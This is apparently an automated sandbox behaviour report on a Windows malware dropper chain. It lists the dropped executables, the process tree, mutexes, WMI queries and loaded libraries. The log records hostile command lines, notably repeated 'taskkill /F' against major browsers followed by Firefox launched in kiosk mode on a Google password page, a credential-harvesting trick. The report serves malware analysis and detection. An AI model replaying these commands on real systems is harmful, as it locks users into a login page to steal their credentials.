File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7YW0363WEKP7ULOI0QRA.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5160:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7032:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2186543484.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186465399.0000000005C17000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174475307.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174129641.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2895905550.0000000005974000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2911883577.0000000005963000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2911735199.000000000596E000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056287581.0000000005FED000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3050315426.0000000006008000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3069419629.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3069032273.0000000006007000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 47%

Source: 7YW0363WEKP7ULOI0QRA.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 58ce8f976c.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: 58ce8f976c.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signature-v

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe "C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe "C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe"
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe "C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe "C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe "C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe "C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe"
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa78a0b3-bca7-4b7b-8021-d7d875974ef5} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e3b86f310 socket
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe "C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe "C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4172 -prefMapHandle 4168 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e2b9126-91e2-41af-b164-fbbe6f838f36} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e4cd8c210 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002538001\num.exe "C:\Users\user\AppData\Local\Temp\1002538001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe "C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe "C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe"
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002538001\num.exe "C:\Users\user\AppData\Local\Temp\1002538001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe "C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe"
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe "C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe "C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe "C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe "C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe "C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe "C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe "C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe "C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe "C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe"
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process created: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe "C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe"
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa78a0b3-bca7-4b7b-8021-d7d875974ef5} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e3b86f310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4172 -prefMapHandle 4168 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e2b9126-91e2-41af-b164-fbbe6f838f36} 1812 "\\.\pipe\gecko-crash-server-pipe.1812" 19e4cd8c210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
